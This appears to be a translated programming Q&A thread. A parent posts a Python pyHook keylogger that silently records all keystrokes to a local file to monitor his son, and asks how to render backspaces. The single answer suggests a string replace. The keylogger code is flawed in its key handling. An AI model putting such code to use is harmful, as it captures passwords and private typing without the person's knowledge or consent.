0

我正在使用 pyHook 捕获关键事件以监视我儿子的网络活动,我注意到当我使用退格键时,它会以 ascii 格式写入文件,该文件在记事本中显示为一个小黑框。

有什么办法可以让我用文件中的字符替换这个黑匣子,[BACKSPACE]或者只是退格,以便更容易阅读?

到目前为止,这是我的代码!

import win32api
import sys
import pythoncom
import pyHook
import os
from time import strftime
buffer = ''
if os.path.isfile('c:\\output.txt'):
    f = open('c:\\output.txt','a')
    f.write(strftime("\n\n%A, %d. %B %Y %I:%M%p\n\n"))
    f.close()
else:
    f = open('c:\\output.txt','w')
    f.write(strftime("%A, %d. %B %Y %I:%M%p\n\n"))
    f.close()

def OnKeyboardEvent(event):
    if event.Ascii == 5:
        sys.exit()
    elif event.Ascii != 0 or 8:
        keylogs = chr(event.Ascii)
    elif event.Ascii == 13:
        keylogs = keylogs + '\n'
    else:
        pass
    f = open('c:\\output.txt','a')
    f.write(keylogs)
    f.close()

while True:
    hm = pyHook.HookManager()
    hm.KeyDown = OnKeyboardEvent
    hm.HookKeyboard()
    pythoncom.PumpMessages()
4

1 回答 1

0

平原string.replace呢?

string.replace(your_string, '\b', ' ')

your_string用空格替换所有退格键。

于 2013-05-27T16:27:08.580 回答